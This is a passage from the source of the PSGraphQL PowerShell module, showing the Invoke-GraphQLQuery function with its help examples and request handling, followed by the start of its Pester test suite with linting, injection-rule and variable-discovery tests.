7 | .PARAMETER Query
8 | The GraphQL query or mutation to send to the endpoint.
9 | .PARAMETER FilePath
10 | The path to a file containing a GraphQL query.
11 | .PARAMETER OperationName
12 | A meaningful and explicit name for your GraphQL operation.
13 | .PARAMETER Variables
14 | Variables expressed as a hash table or JSON string for your GraphQL operation.
15 | .PARAMETER Headers
16 | Specifies the headers of the web request expressed as a hash table.
17 | .PARAMETER Uri
18 | Specifies the Uniform Resource Identifier (URI) of the GraphQL endpoint to which the GraphQL query or mutation is sent.
19 | .PARAMETER WebSession
20 | Specifies a web request session. Enter the variable name, including the dollar sign (`$`).
21 | .PARAMETER Raw
22 | Tells the function to return a JSON string as opposed to objects.
23 | .PARAMETER ContentType
24 | Specifies the ContentType for the Webrequest (Default: "application/json"). Can be used to resolve encoding problems.
25 | .PARAMETER Detailed
26 | Returns parsed and raw responses from the GraphQL endpoint as well as HTTP status code, description, and response headers.
27 | .PARAMETER EscapeHandling
28 | Specifies the escape handling mechanism for JSON conversion. Usage of this parameter is only applicable to PowerShell versions 6 and above.
29 | .PARAMETER SkipCertificateCheck
30 | Tells the function to skip certificate validation checks that include expiration, revocation, trusted root authority, etc. This parameter is only supported in PowerShell 7 or greater.
31 | .NOTES
32 | Query and mutation default return type is a collection of objects. To return results as JSON, use the -Raw parameter. To return both parsed and raw results, use the -Detailed parameter.
33 | .EXAMPLE
34 | $uri = "https://mytargetserver/v1/graphql"
35 |
36 | $query = '
37 | query RollDice($dice: Int!, $sides: Int) {
38 | rollDice(numDice: $dice, numSides: $sides)
39 | }'
40 |
41 | $variables = '
42 | {
43 | "dice": 3,
44 | "sides": 6
45 | }'
46 |
47 | Invoke-GraphQLQuery -Uri $uri -Query $query -Variables $variables
48 |
49 | Sends a GraphQL query to the endpoint 'https://mytargetserver/v1/graphql' with variables defined in $variables as JSON.
50 | .EXAMPLE
51 | $uri = "https://mytargetserver/v1/graphql"
52 |
53 | $queryFilePath = "./queries/rolldice.gql"
54 |
55 | Invoke-GraphQLQuery -Uri $uri -FilePath $queryFilePath -Variables $variables
56 |
57 | Sends a GraphQL query to the endpoint 'https://mytargetserver/v1/graphql' with the query defined in ./queries/rolldice.gql including variables defined in $variables as JSON.
58 | .EXAMPLE
59 | $uri = "https://mytargetserver/v1/graphql"
60 |
61 | $query = '
62 | query RollDice($dice: Int!, $sides: Int) {
63 | rollDice(numDice: $dice, numSides: $sides)
64 | }'
65 |
66 | $variables = @{dice=3; sides=6}
67 |
68 | Invoke-GraphQLQuery -Uri $uri -Query $query -Variables $variables
69 |
70 | Sends a GraphQL query to the endpoint 'https://mytargetserver/v1/graphql' with variables defined in $variables.
71 | .EXAMPLE
72 | $uri = "https://mytargetserver/v1/graphql"
73 |
74 | $introspectionQuery = '
75 | query allSchemaTypes {
76 | __schema {
77 | types {
78 | name
79 | kind
80 | description
81 | }
82 | }
83 | }
84 | '
85 |
86 | Invoke-GraphQLQuery -Uri $uri -Query $introspectionQuery -Raw
87 |
88 | Sends a GraphQL introspection query to the endpoint 'https://mytargetserver/v1/graphql' with the results returned as JSON.
89 | .EXAMPLE
90 | $uri = "https://mytargetserver/v1/graphql"
91 |
92 | $results = Invoke-GraphQLQuery -Uri $uri
93 |
94 | Sends a GraphQL introspection query using the default value for the Query parameter (as opposed to specifying it) to the endpoint 'https://mytargetserver/v1/graphql' with the results returned as objects and assigning the results to the $results variable.
95 | .EXAMPLE
96 | $uri = "https://mytargetserver/v1/graphql"
97 |
98 | $myQuery = '
99 | query GetUsers {
100 | users {
101 | created_at
102 | id
103 | last_seen
104 | name
105 | }
106 | }
107 | '
108 |
109 | Invoke-GraphQLQuery -Uri $uri -Query $myQuery -Raw
110 |
111 | Sends a GraphQL query to the endpoint 'https://mytargetserver/v1/graphql' with the results returned as JSON.
112 | .EXAMPLE
113 | $uri = "https://mytargetserver/v1/graphql"
114 |
115 | $myQuery = '
116 | query GetUsers {
117 | users {
118 | created_at
119 | id
120 | last_seen
121 | name
122 | }
123 | }
124 | '
125 |
126 | $result = Invoke-GraphQLQuery -Uri $uri -Query $myQuery
127 | $result.data.users | Format-Table
128 |
129 | Sends a GraphQL query to the endpoint 'https://mytargetserver/v1/graphql' with the results returned as objects and navigates the hierarchy to return a table view of users.
130 | .EXAMPLE
131 | $jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MjAzOTMwMjgsIm5iZiI6MTYyMDM5MzAyNywiZXhwIjoxNjIwMzkzMzI4LCJzdWIiOiJtZUBjb21wYW55LmNvbSIsImp0aSI6ImMwZTk0ZTY0ODc4ZjRlZDFhZWM3YWYwYzViOWM2ZWI5Iiwicm9sZSI6InVzZXIifQ.HaTXDunEjmyUsHs7daLe-AxEpmq58QqqFziydm7MBic"
132 |
133 | $headers = @{Authorization="Bearer $jwt"}
134 |
135 | $uri = "https://mytargetserver/v1/graphql"
136 |
137 | $myQuery = '
138 | query GetUsers {
139 | users {
140 | created_at
141 | id
142 | last_seen
143 | name
144 | }
145 | }
146 | '
147 |
148 | $result = Invoke-GraphQLQuery -Uri $uri -Query $myQuery -Headers $headers
149 | $result.data.users | Format-Table
150 |
151 | Sends a GraphQL query using JWT for authentication to the endpoint 'https://mytargetserver/v1/graphql' with the results returned as objects and navigates the hierarchy to return a table view of users.
152 | .EXAMPLE
153 | $uri = "https://mytargetserver/v1/graphql"
154 |
155 | $myMutation = '
156 | mutation MyMutation {
157 | insert_users_one(object: {id: "57", name: "FirstName LastName"}) {
158 | id
159 | }
160 | }
161 | '
162 |
163 | $requestHeaders = @{ "x-api-key"="aoMGY{+93dx&t!5)VMu4pI8U8T.ULO" }
164 |
165 | $jsonResult = Invoke-GraphQLQuery -Uri $uri -Mutation $myMutation -Headers $requestHeaders -Raw
166 |
167 | Sends a GraphQL mutation to the endpoint 'https://mytargetserver/v1/graphql' with the results returned as JSON.
168 | .EXAMPLE
169 | gql -u 'https://mytargetserver/v1/graphql' -q 'query { users { created_at id last_seen name } }' -r
170 |
171 | Sends a GraphQL query to an endpoint with the results returned as JSON (as a one-liner using aliases).
172 | .INPUTS
173 | System.IO.FileInfo
174 | A System.IO.FileInfo object is received by the FilePath parameter.
175 | .LINK
176 | https://graphql.org/
177 | Format-Table
178 | Get-GraphQLVariableList
179 | #>
180 | [CmdletBinding(DefaultParameterSetName = "Query")]
181 | [Alias("gql", "Invoke-GraphQLMutation", "Invoke-GraphQLOperation")]
182 | [OutputType([System.Management.Automation.PSCustomObject], [System.String], [GraphQLResponseObject])]
183 | Param
184 | (
185 | [Parameter(Mandatory = $true,
186 | ValueFromPipelineByPropertyName = $true, ValueFromPipeline = $true,
187 | Position = 0)][Alias("u")][System.Uri]$Uri,
188 |
189 | [Parameter(Mandatory = $false, ParameterSetName = "Query",
190 | ValueFromPipelineByPropertyName = $false,
191 | Position = 1)][ValidateLength(12, 1073741791)][Alias("Mutation", "Operation", "q", "m", "o")][System.String]$Query = "query introspection { __schema { types { name kind description } } }",
192 |
193 | [Parameter(Mandatory = $false, ParameterSetName = "FilePath", ValueFromPipelineByPropertyName = $true, ValueFromPipeline = $true, Position = 1)][ValidateNotNullOrEmpty()][Alias('f', 'Path')][System.IO.FileInfo]$FilePath,
194 |
195 | [Parameter(Mandatory = $false,
196 | ValueFromPipelineByPropertyName = $false,
197 | Position = 2)][ValidateLength(1, 4096)][Alias("op")][System.String]$OperationName,
198 |
199 | [Parameter(Mandatory = $false,
200 | ValueFromPipelineByPropertyName = $false,
201 | Position = 3)][ValidateNotNullOrEmpty()][Alias("v", "Arguments")][Object]$Variables,
202 |
203 | [Parameter(Mandatory = $false,
204 | ValueFromPipelineByPropertyName = $false,
205 | Position = 4)][Alias("h")][System.Collections.Hashtable]$Headers,
206 |
207 | [Parameter(Mandatory = $false,
208 | ValueFromPipelineByPropertyName = $false,
209 | Position = 5)][Alias("ws")][Microsoft.PowerShell.Commands.WebRequestSession]$WebSession,
210 |
211 | [Parameter(Mandatory = $false, Position = 6)][Alias("AsJson", "json", "r", "aj")][Switch]$Raw,
212 |
213 | [Parameter(Mandatory = $false,
214 | ValueFromPipelineByPropertyName = $false,
215 | Position = 7)][Alias("ct")][System.String]$ContentType = "application/json",
216 |
217 | [Parameter(ParameterSetName = "Query")]
218 | [Parameter(ParameterSetName = "FilePath")]
219 | [Parameter(Mandatory = $false, ParameterSetName = "Detailed", Position = 8)][Alias("d")][Switch]$Detailed,
220 |
221 | [Parameter(Mandatory = $false,
222 | ValueFromPipelineByPropertyName = $false,
223 | Position = 9)][ValidateSet('Default', 'EscapeNonAscii', 'EscapeHtml')][Alias("eh")][System.String]$EscapeHandling = "Default",
224 |
225 | [Parameter(Mandatory = $false,
226 | ValueFromPipelineByPropertyName = $false,
227 | Position = 10)][Alias("notls", "scc", "insecure", "k")][Switch]$SkipCertificateCheck
228 | )
229 | BEGIN {
230 | # Return type when using the -Detailed switch:
231 | class GraphQLResponseObject {
232 | [Int]$StatusCode = 0
233 | [String]$StatusDescription = ""
234 | [String]$Response = ""
235 | [PSObject]$ParsedResponse = $null
236 | [String]$RawResponse = ""
237 | [HashTable]$ResponseHeaders = @{ }
238 | [TimeSpan]$ExecutionTime
239 | [Microsoft.PowerShell.Commands.WebRequestSession]$Session
240 | }
241 |
242 | # Used to determine if running PowerShell Core or earlier:
243 | $psMajorVersion = $PSVersionTable.PSVersion.Major
244 | }
245 | PROCESS {
246 | # The object that will ultimately be serialized and sent to the GraphQL endpoint:
247 | $jsonRequestObject = [ordered]@{ }
248 |
249 | if (-not(Test-Uri -InputString $Uri)) {
250 | $argumentExceptionMessage = "Provided value is not a valid URI."
251 | $ArgumentException = New-Object ArgumentException -ArgumentList $argumentExceptionMessage
252 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop
253 | }
254 |
255 | [string]$graphQlQuery = ""
256 | if ($PSBoundParameters.ContainsKey("FilePath")) {
257 | $graphQlQuery = Get-Content -Path $FilePath.FullName -Raw
258 | }
259 | else {
260 | $graphQlQuery = $Query
261 | }
262 |
263 | # Trim all spaces and flatten $OperationName parameter value and add to $jsonRequestObject:
264 | if ($PSBoundParameters.ContainsKey("OperationName")) {
265 | $cleanedOperationInput = Compress-String -InputString $OperationName
266 | $jsonRequestObject.Add("operationName", $cleanedOperationInput)
267 | }
268 |
269 | # Determine if $Variables is JSON or a HashTable and add to $jsonRequestObject:
270 | if ($PSBoundParameters.ContainsKey("Variables")) {
271 | $ArgumentException = New-Object -TypeName System.ArgumentException -ArgumentList "Unable to parse incoming GraphQL variables. Please ensure that passed values are either valid JSON or of type System.Collections.HashTable."
272 |
273 | if ($Variables.GetType().Name -eq "Hashtable") {
274 | $jsonRequestObject.Add("variables", $Variables)
275 | }
276 | elseif ($Variables.GetType().Name -eq "String") {
277 | $variableTable = @{ }
278 |
279 | try {
280 | $deserializedVariables = $Variables | ConvertFrom-Json -ErrorAction Stop
281 |
282 | $deserializedVariables.PSObject.Properties | ForEach-Object {
283 | $variableTable.Add($_.Name, $_.Value)
284 | }
285 |
286 | $jsonRequestObject.Add("variables", $variableTable)
287 | }
288 | catch {
289 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop
290 | }
291 | }
292 | else {
293 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop
294 | }
295 | }
296 |
297 | # Trim all spaces and flatten $Query or $FilePath parameter data and add to $jsonRequestObject:
298 | $cleanedQueryInput = Compress-String -InputString $graphQlQuery
299 | if (($cleanedQueryInput.ToLower() -notlike "query*") -and ($cleanedQueryInput.ToLower() -notlike "mutation*") ) {
300 | $ArgumentException = New-Object -TypeName ArgumentException -ArgumentList "Not a valid GraphQL query or mutation. Verify syntax and try again."
301 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop
302 | }
303 |
304 | # Add $graphQlQuery $jsonRequestObject:
305 | $jsonRequestObject.Add("query", $cleanedQueryInput)
306 |
307 | # Serialize $jsonRequestObject:
308 | [string]$jsonRequestBody = ""
309 | try {
310 | if ($psMajorVersion -gt 5) {
311 | $jsonRequestBody = $jsonRequestObject | ConvertTo-Json -Depth 100 -Compress -EscapeHandling $EscapeHandling -ErrorAction Stop -WarningAction SilentlyContinue
312 | }
313 | else {
314 | $jsonRequestBody = $jsonRequestObject | ConvertTo-Json -Depth 100 -Compress -ErrorAction Stop -WarningAction SilentlyContinue
315 |
316 | if ($PSBoundParameters.ContainsKey("EscapeHandling")) {
317 | Write-Warning -Message "EscapeHandling is not supported for Invoke-GraphQLQuery for the detected PowerShell version."
318 | }
319 | }
320 | }
321 | catch {
322 | Write-Error -Exception $_.Exception -Category InvalidResult -ErrorAction Stop
323 | }
324 |
325 | [HashTable]$params = @{
326 | Uri = $Uri
327 | Method = "Post"
328 | Body = $jsonRequestBody
329 | ContentType = $ContentType
330 | ErrorAction = "Stop"
331 | UseBasicParsing = $true
332 | }
333 |
334 | # Skip TLS validation if PowerShell Core:
335 | if ($PSBoundParameters.ContainsKey("SkipCertificateCheck")) {
336 | if ($PSVersionTable.PSVersion.Major -ge 7) {
337 | $params.Add("SkipCertificateCheck", $true)
338 | }
339 | else {
340 | Write-Warning -Message "The SkipCertificateCheck parameter is only supported in PowerShell 7 or greater."
341 | }
342 | }
343 |
344 | if ($PSBoundParameters.ContainsKey("Headers")) {
345 | $params.Add("Headers", $Headers)
346 | }
347 |
348 | # Use or establish a web session:
349 | $currentSession = "currentSession"
350 | if ($PSBoundParameters.ContainsKey("WebSession")) {
351 | $params.Add("WebSession", $WebSession)
352 | }
353 | else {
354 | $params.Add("SessionVariable", $currentSession)
355 | }
356 |
357 | if ($PSBoundParameters.ContainsKey("Detailed")) {
358 | # Object to be returned for the Detailed parameter:
359 | $gqlResponse = [GraphQLResponseObject]::new()
360 |
361 | # Skip HTTP error checking only when the Detailed parameter is used:
362 | if ($PSVersionTable.PSVersion.Major -ge 7) {
363 | $params.Add("SkipHttpErrorCheck", $true)
364 | }
365 |
366 | $response = $null
367 | try {
368 | # Capture the start time:
369 | $startDateTime = Get-Date
370 |
371 | # Execute the GraphQL operation:
372 | $response = Invoke-WebRequest @params
373 |
374 | # Capture the end time in order to obtain the delta for the ExecutionTime property:
375 | $endDateTime = Get-Date
376 |
377 | # Calculate execution time:
378 | $gqlResponse.ExecutionTime = (New-TimeSpan -Start $startDateTime -End $endDateTime)
379 | }
380 | catch {
381 | Write-Error -Exception $_.Exception -Category InvalidOperation -ErrorAction Stop
382 | }
383 |
384 | # Populate properties of object to be returned:
385 | $gqlResponse.StatusCode = $response.StatusCode
386 | $gqlResponse.StatusDescription = $response.StatusDescription
387 | $gqlResponse.Response = $response.Content
388 |
389 | # Attempt to deserialize Content from JSON, if not populate ParsedResponse with a null value:
390 | try {
391 | $gqlResponse.ParsedResponse = $($response.Content | ConvertFrom-Json -ErrorAction Stop -WarningAction SilentlyContinue)
392 | }
393 | catch {
394 | $gqlResponse.ParsedResponse = $null
395 | }
396 |
397 | $gqlResponse.RawResponse = $response.RawContent
398 |
399 | if ($PSBoundParameters.ContainsKey("WebSession")) {
400 | $gqlResponse.Session = $WebSession
401 | }
402 | else {
403 | $gqlResponse.Session = $currentSession
404 | }
405 |
406 | # Populate ResponseHeaders property:
407 | [HashTable]$responseHeaders = @{ }
408 | $response.Headers.GetEnumerator() | ForEach-Object {
409 | $responseHeaders.Add($_.Key, $_.Value)
410 | }
411 | $gqlResponse.ResponseHeaders = $responseHeaders
412 |
413 | return $gqlResponse
414 | }
415 | else {
416 | try {
417 | $response = Invoke-RestMethod @params
418 | }
419 | catch {
420 | if ($null -ne $_.Exception.InnerException) {
421 | Write-Error -Exception $_.Exception.InnerException -Category InvalidOperation -ErrorAction Stop
422 | }
423 | else {
424 | Write-Error -Exception $_.Exception -Category InvalidOperation -ErrorAction Stop
425 | }
426 | }
427 |
428 | if ($PSBoundParameters.ContainsKey("Raw")) {
429 | try {
430 | return $($response | ConvertTo-Json -Depth 100 -ErrorAction Stop -WarningAction SilentlyContinue)
431 | }
432 | catch {
433 | if ($null -ne $_.Exception.InnerException) {
434 | Write-Error -Exception $_.Exception.InnerException -Category InvalidOperation -ErrorAction Stop
435 | }
436 | else {
437 | Write-Error -Exception $_.Exception -Category InvalidOperation -ErrorAction Stop
438 | }
439 | }
440 | }
441 | else {
442 | try {
443 | return $response
444 | }
445 | catch {
446 | if ($null -ne $_.Exception.InnerException) {
447 | Write-Error -Exception $_.Exception.InnerException -Category InvalidOperation -ErrorAction Stop
448 | }
449 | else {
450 | Write-Error -Exception $_.Exception -Category InvalidOperation -ErrorAction Stop
451 | }
452 | }
453 | }
454 | }
455 | }
456 | }
457 |
--------------------------------------------------------------------------------
/PSGraphQL/Tests/PSGraphQL.Tests.ps1:
--------------------------------------------------------------------------------
1 | #Requires -Modules @{ModuleName="Pester";ModuleVersion="4.10.1"}
2 | #requires -Module PSScriptAnalyzer
3 |
4 | $myDefaultDirectory = Get-Location
5 |
6 | Set-Location -Path $myDefaultDirectory
7 | Set-Location -Path ..
8 |
9 | $module = "PSGraphQL"
10 |
11 | $moduleDirectory = Get-Item -Path $myDefaultDirectory | Select-Object -ExpandProperty FullName
12 |
13 | Clear-Host
14 |
15 | Describe "$module Module Structure and Validation Tests" -Tag Linting -WarningAction SilentlyContinue {
16 | Context "$module" {
17 | It "has the root module $module.psm1" {
18 | "$moduleDirectory/$module.psm1" | Should -Exist
19 | }
20 |
21 | It "has the a manifest file of $module.psd1" {
22 | "$moduleDirectory/$module.psd1" | Should -Exist
23 | }
24 |
25 | It "has Functions subdirectory" {
26 | "$moduleDirectory/Functions/*.ps1" | Should -Exist
27 | }
28 |
29 | It "$module is valid PowerShell code" {
30 | $psFile = Get-Content -Path "$moduleDirectory\$module.psm1" -ErrorAction Stop
31 | $errors = $null
32 | $null = [System.Management.Automation.PSParser]::Tokenize($psFile, [ref]$errors)
33 | $errors.Count | Should -Be 0
34 | }
35 | }
36 |
37 | Context "Code Validation" {
38 | $allPs1Files = Get-ChildItem -Path "$moduleDirectory" -Filter *.ps1 -Recurse
39 | $allPs1Files | ForEach-Object {
40 | $ps1FilePath = $_.FullName
41 | It ("{0} is valid PowerShell code" -f $ps1FilePath) {
42 | $psFile = Get-Content -Path $ps1FilePath -ErrorAction Stop
43 | $errors = $null
44 | $null = [System.Management.Automation.PSParser]::Tokenize($psFile, [ref]$errors)
45 | $errors.Count | Should -Be 0
46 | }
47 | }
48 | }
49 |
50 |
51 | Context "$module.psd1" {
52 | It "should not throw an exception in import" {
53 | $modPath = "$moduleDirectory/$module.psd1"
54 | { Import-Module -Name $modPath -Force -ErrorAction Stop } | Should Not Throw
55 | }
56 | }
57 |
58 | }
59 |
60 |
61 | Describe "Testing module and cmdlets against PSSA rules" -Tag Linting -WarningAction SilentlyContinue {
62 | $scriptAnalyzerRules = Get-ScriptAnalyzerRule
63 |
64 | Context "$module test against PSSA rules" {
65 | $modulePath = "$moduleDirectory\$module.psm1"
66 |
67 | $analysis = Invoke-ScriptAnalyzer -Path $modulePath
68 |
69 | foreach ($rule in $scriptAnalyzerRules) {
70 | It "should pass $rule" {
71 | If ($analysis.RuleName -contains $rule) {
72 | $analysis | Where RuleName -eq $rule -OutVariable failures
73 | $failures.Count | Should -Be 0
74 | }
75 | }
76 | }
77 | }
78 |
79 | Get-ChildItem -Path "$moduleDirectory\Functions" -Filter *.ps1 -Recurse | ForEach-Object {
80 | Context "$_ test against PSSA rules" {
81 | $analysis = Invoke-ScriptAnalyzer -Path $_.FullName -ExcludeRule PSUseShouldProcessForStateChangingFunctions
82 |
83 | foreach ($rule in $scriptAnalyzerRules) {
84 | It "should pass $rule" {
85 | If ($analysis.RuleName -contains $rule) {
86 | $analysis | Where-Object RuleName -eq $rule -OutVariable failures
87 | $failures.Count | Should -Be 0
88 | }
89 | }
90 | }
91 | }
92 |
93 | Context "$_ test against InjectionHunter rules" {
94 | $injectionHunterModulePath = Get-Module -Name InjectionHunter -ListAvailable | Select-Object -ExpandProperty Path
95 |
96 | $analysis = Invoke-ScriptAnalyzer -Path $_.FullName -CustomRulePath $injectionHunterModulePath
97 |
98 | foreach ($rule in $scriptAnalyzerRules) {
99 | It "should pass $rule" {
100 | If ($analysis.RuleName -contains $rule) {
101 | $analysis | Where-Object RuleName -eq $rule -OutVariable failures
102 | $failures.Count | Should -Be 0
103 | }
104 | }
105 | }
106 | }
107 | }
108 |
109 | Get-ChildItem -Path "$moduleDirectory\PrivateFunctions" -Filter *.ps1 -Recurse | ForEach-Object {
110 | Context "$_ test against PSSA rules" {
111 | $analysis = Invoke-ScriptAnalyzer -Path $_.FullName -ExcludeRule PSUseShouldProcessForStateChangingFunctions
112 |
113 | foreach ($rule in $scriptAnalyzerRules) {
114 | It "should pass $rule" {
115 | If ($analysis.RuleName -contains $rule) {
116 | $analysis | Where-Object RuleName -eq $rule -OutVariable failures
117 | $failures.Count | Should -Be 0
118 | }
119 | }
120 | }
121 | }
122 |
123 | Context "$_ test against InjectionHunter rules" {
124 | $injectionHunterModulePath = Get-Module -Name InjectionHunter -ListAvailable | Select-Object -ExpandProperty Path
125 |
126 | $analysis = Invoke-ScriptAnalyzer -Path $_.FullName -CustomRulePath $injectionHunterModulePath
127 |
128 | foreach ($rule in $scriptAnalyzerRules) {
129 | It "should pass $rule" {
130 | If ($analysis.RuleName -contains $rule) {
131 | $analysis | Where-Object RuleName -eq $rule -OutVariable failures
132 | $failures.Count | Should -Be 0
133 | }
134 | }
135 | }
136 | }
137 | }
138 | }
139 |
140 | Describe "Unit Tests for GraphQLVariableList" -Tag Unit {
141 | $zeroParamQuery = 'query HeroNameAndFriends {
142 | hero {
143 | name
144 | friends {
145 | name
146 | }
147 | }
148 | }'
149 |
150 | $twoParamQuery = '
151 | query GetUsersByUserIdAndCustRecNumber($userId: Int!, $customerRecNum: String!) {
152 | users: active_users(
153 | where: {user_id: {_eq: $userId}, _and: {customer_rec_num: {_eq: $customerRecNum}, _and: {active_users: {user_id: {_is_null: false}}}}}
154 | ) {
155 | user: active_users {
156 | email: email_address
157 | firstName: first_name
158 | lastName: last_name
159 | lastLogin: last_login_date
160 | id: user_id
161 | }
162 | }
163 | }'
164 |
165 | $threeParamMutation = '
166 | mutation CreateUserInPlatform($firstName: String! = "", $lastName: String! = "", $email: String! = "") {
167 | createdUser: user_mgmt_create_user(
168 | user_input: {first_name: $firstName, last_name: $lastName, email_address: $email}
169 | ) {
170 | id: user_id
171 | firstName: first_name
172 | lastName: last_name
173 | email: email_address
174 | }
175 | }'
176 |
177 | $eightParamMutation = 'mutation UpdateUserAttributes($uuId: uuid!, $userId: String!, $firstName: String!, $lastName: String!, $userId: Int!, $roles: [user_roles!]!, $roleIds: [Int]!, $objects: [user_attributes!]!) {
178 | update_users(
179 | where: {user_id: {_eq: $uuId}}
180 | _set: {first_name: $firstName, last_name: $lastName}
181 | ) {
182 | affected_rows
183 | }
184 | insert_user_roles(objects: $roles) {
185 | returning {
186 | user_id
187 | role_id
188 | }
189 | }
190 | delete_user_roles(
191 | where: {role_id: {_in: $roleIds}, user_id: {_eq: $userId}}
192 | ) {
193 | affected_rows
194 | }
195 | insert_user_attributes(objects: $objects) {
196 | affected_rows
197 | }
198 | }'
199 |
200 | $nineParamMutation = 'mutation UpdateUser($uuId: uuid!, $userId: String!, $firstName: String!, $middleName: String = "",$lastName: String!, $userId: Int!, $roles: [user_roles!]!, $roleIds: [Int!]!, $objects: [user_attributes!]!) {
201 | update_users(
202 | where: {user_id: {_eq: $uuId}}
203 | _set: {first_name: $firstName, last_name: $lastName}
204 | ) {
205 | affected_rows
206 | }
207 | delete_security_user(
208 | where: {user_id: {_eq: $userId}}
209 | ) {
210 | affected_rows
211 | }
212 | insert_user_roles(objects: $roles) {
213 | returning {
214 | user_id
215 | role_id
216 | }
217 | }
218 | delete_user_roles(
219 | where: {role_id: {_in: $roleIds}, user_id: {_eq: $userId}}
220 | ) {
221 | affected_rows
222 | }
223 | insert_user_attributes(objects: $objects) {
224 | affected_rows
225 | }
226 | }'
227 |
228 | $sevenParamMutation = 'mutation RoleChangeUpdateAccountUser($uuId: uuid!, $userId: String!, $firstName: String!, $lastName: String!, $roles: [user_roles!]!, $roleIds: [Int!]!, $userId: Int!) {
229 | update_users(
230 | where: {user_id: {_eq: $uuId}}
231 | _set: {first_name: $firstName, last_name: $lastName}
232 | ) {
233 | affected_rows
234 | }
235 | insert_security_users(
236 | objects: {user_id: $userId, user_id: $userId, active_indicator: true}
237 | ) {
238 | returning {
239 | active_users {
240 | user_id
241 | last_name
242 | first_name
243 | email_address
244 | }
245 | }
246 | }
247 | insert_user_roles(objects: $roles) {
248 | returning {
249 | user_id
250 | role_id
251 | }
252 | }
253 | delete_user_roles(
254 | where: {role_id: {_in: $roleIds}, user_id: {_eq: $userId}}
255 | ) {
256 | affected_rows
257 | }
258 | }'
259 |
260 | $sevenParamMutationMultiLine = '
261 |
262 | mutation UpdateUserTransactional(
263 | $uuId: uuid!,
264 | $userId: String!,
265 | $firstName: String!,
266 | $lastName: String!,
267 | $roles: [user_roles!]!,
268 | $roleIds: [Int!]!,
269 | $objects: [user_attributes!]!) {
270 | update_users(
271 | where: {user_id: {_eq: $uuId}}
272 | _set: {first_name: $firstName, last_name: $lastName}
273 | ) {
274 | affected_rows
275 | }
276 | insert_user_roles(objects: $roles) {
277 | returning {
278 | user_id
279 | role_id
280 | }
281 | }
282 | delete_user_roles(
283 | where: {user_id: {_eq: $userId}, _and: {role_id: {_in: $roleIds}}}
284 | ) {
285 | affected_rows
286 | }
287 | insert_user_attributes(objects: $objects) {
288 | affected_rows
289 | }
290 | delete_user_attributes(
291 | where: {user_id: {_eq: $userId}, _and: {serviced_location_id: {_in: $locationIds}}}
292 | ) {
293 | affected_rows
294 | }
295 | }'
296 |
297 | Context "Zero variable query" {
298 | It "should discover zero variables" {
299 | (GraphQLVariableList -Query $zeroParamQuery).HasVariables | Select -First 1 | Should Be False
300 | }
301 | }
302 |
303 | Context "Two variable query" {
304 | It "should discover two variables" {
305 | (GraphQLVariableList -Query $twoParamQuery).HasVariables | Select -First 1 | Should Be True
306 | (GraphQLVariableList -Query $twoParamQuery | Measure).Count | Should Be 2
307 | }
308 |
309 | It "should have an operation name of GetUsersByUserIdAndCustRecNumber" {
310 | (GraphQLVariableList -Query $twoParamQuery).Operation | Select -First 1 | Should Be "GetUsersByUserIdAndCustRecNumber"
311 | }
312 |
313 | It "should have an operation type of query" {
314 | (GraphQLVariableList -Query $twoParamQuery).OperationType | Select -First 1 | Should Be "query"
315 | }
316 |
317 | It "should contain the variable userId" {
318 | (GraphQLVariableList -Query $twoParamQuery).Parameter | Should Contain "userId"
319 | }
320 |
321 | It "should contain the variable customerRecNum" {
322 | (GraphQLVariableList -Query $twoParamQuery).Parameter | Should Contain "customerRecNum"
323 | }
324 | }
325 |
326 | Context "Three variable mutation" {
327 | It "should discover three variables" {
328 | (GraphQLVariableList -Query $threeParamMutation).HasVariables | Select -First 1 | Should Be True
329 | (GraphQLVariableList -Query $threeParamMutation | Measure).Count | Should Be 3
330 | }
331 |
332 | It "should have an operation type of mutation" {
333 | (GraphQLVariableList -Query $threeParamMutation).OperationType | Select -First 1 | Should Be "mutation"
334 | }
335 |
336 | It "should contain the variable firstName" {
337 | (GraphQLVariableList -Query $threeParamMutation).Parameter | Should Contain "firstName"
338 | }
339 |
340 | It "should contain the variable lastName" {
341 | (GraphQLVariableList -Query $threeParamMutation).Parameter | Should Contain "lastName"
342 | }
343 |
344 | It "should contain the variable email" {
345 | (GraphQLVariableList -Query $threeParamMutation).Parameter | Should Contain "email"
346 | }
347 | }
348 |
349 | Context "Eight variable mutation" {
350 | It "should discover eight variables" {
351 | (GraphQLVariableList -Query $eightParamMutation).HasVariables | Select -First 1 | Should Be True
352 | (GraphQLVariableList -Query $eightParamMutation | Measure).Count | Should Be 8
353 | }
354 |
355 | It "should have an operation name of UpdateUserAttributes" {
356 | (GraphQLVariableList -Query $eightParamMutation).Operation | Select -First 1 | Should Be "UpdateUserAttributes"
357 | }
358 |
359 | It "should have an operation type of mutation" {
360 | (GraphQLVariableList -Query $eightParamMutation).OperationType | Select -First 1 | Should Be "mutation"
361 | }
362 |
363 | It "should contain the variable uuid" {
364 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "uuid"
365 | }
366 |
367 | It "should contain the variable userId" {
368 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "userId"
369 | }
370 |
371 | It "should contain the variable firstName" {
372 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "firstName"
373 | }
374 |
375 | It "should contain the variable lastName" {
376 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "lastName"
377 | }
378 |
379 | It "should contain the variable roles" {
380 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "roles"
381 | }
382 |
383 | It "should contain the variable roleIds" {
384 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "roles"
385 | }
386 |
387 | It "should contain the variable objects" {
388 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "objects"
389 | }
390 | }
391 |
392 | Context "Nine variable mutation" {
393 | It "should discover nine variables" {
394 | (GraphQLVariableList -Query $nineParamMutation | Measure).Count | Should Be 9
395 | }
396 |
397 | It "should have an operation name of UpdateUserAttributes" {
398 | (GraphQLVariableList -Query $eightParamMutation).Operation | Select -First 1 | Should Be "UpdateUserAttributes"
399 | }
400 |
401 | It "should have an operation type of mutation" {
402 | (GraphQLVariableList -Query $nineParamMutation).OperationType | Select -First 1 | Should Be "mutation"
403 | }
404 |
405 | It "should contain the variable uuid" {
